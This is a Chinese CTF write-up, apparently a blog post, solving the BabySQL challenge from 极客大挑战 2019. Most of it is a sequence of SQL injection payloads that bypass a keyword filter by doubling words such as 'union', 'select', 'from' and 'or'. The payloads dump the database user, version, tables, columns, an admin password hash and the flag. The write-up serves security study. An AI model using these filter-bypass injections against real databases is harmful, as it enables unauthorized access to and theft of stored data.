双写绕过 [极客大挑战 2019]BabySQL 1

打开题目

随便输入账号密码

根据报错信息可知这是单引号的字符型注入

那我们试试万能密码

1' or '1'='1  页面报错

1  or '1'='1 页面报错

而且根据报错内容显示是没有我们注入上去的or的

那我们就试试

1' order by 3 #

页面报错,根据报错显示页面过滤掉了or和by

那我们试试

-1' union select 1,2,3,4 #

根据报错显示页面过滤了union和select

那我们就可以尝试双写绕过

1' ununionion seselectlect 1 #

报错显示有不同的列名

那就一个一个试吧

1' ununionion seselectlect 1,2,3#

页面正常

并且这里显示报错显示位为2,3

1' ununionion seselectlect 1,2,3,4#

页面报错

说明列名字段数为3

爆用户名和数据库名

-1’ ununionion seselectlect 1,user(),database()  #

这样我们就可以知道数据库用户名为root@localhost,数据库名为geek

-1' ununionion seselectlect 1,version(),@@version_compile_os #

这样我们就知道操作系统version_compile_os为Linux,数据库版本为10.3.18-MariaDB

总结一下就是

操作系统version_compile_os:Linux

数据库版本version():  10.3.18-MariaDB

数据库用户名user():  root@localhost

数据库名database():  geek

接下来我们查询geek数据库下的表名信息

-1' ununionion seselectlect 1,table_name,3 from information_schema.tables where table_shcema='geek' #

我们发现informmation,where都被过滤掉了

那我们对其进行双写

-1' uunionnion seselectlect 1,group_concat(table_name),3 frfromom inforformationmation_schema.tables whwhereere table_schema='geek' #

忘记页面是过滤or了

重新换个姿势

-1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

说明表名有b4bsql,geekuser

爆破列名

-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='geekuser' #

爆破数据

-1' uunionnion seselectlect 1,2,password frfromom geekuser  #

又忘记过滤or了

-1' uunionnion seselectlect 1,2,group_concat(passwoorrd) frfromom geekuser  #

这下爆出了password为2ac772d9987993a29b85958839d4e468

用户名为admin

id为1

尝试登录了一下用户名和密码,发现下面没有flag

那我们爆破b4bsql表下的列名

-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #

发现下面也有三个列名

-1' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql #

查看页面源代码得到flag

知识点:

常见的sql注入绕过方式:SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户

information_schema.schemata 获取所有数据库信息

表包含以下列:

  1. catalog_name:目录名称
  2. schema_name: 模式(数据库)的名称。
  3. default_character_set_name: 数据库编码。
  4. default_collation_name: 数据库排序规则

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值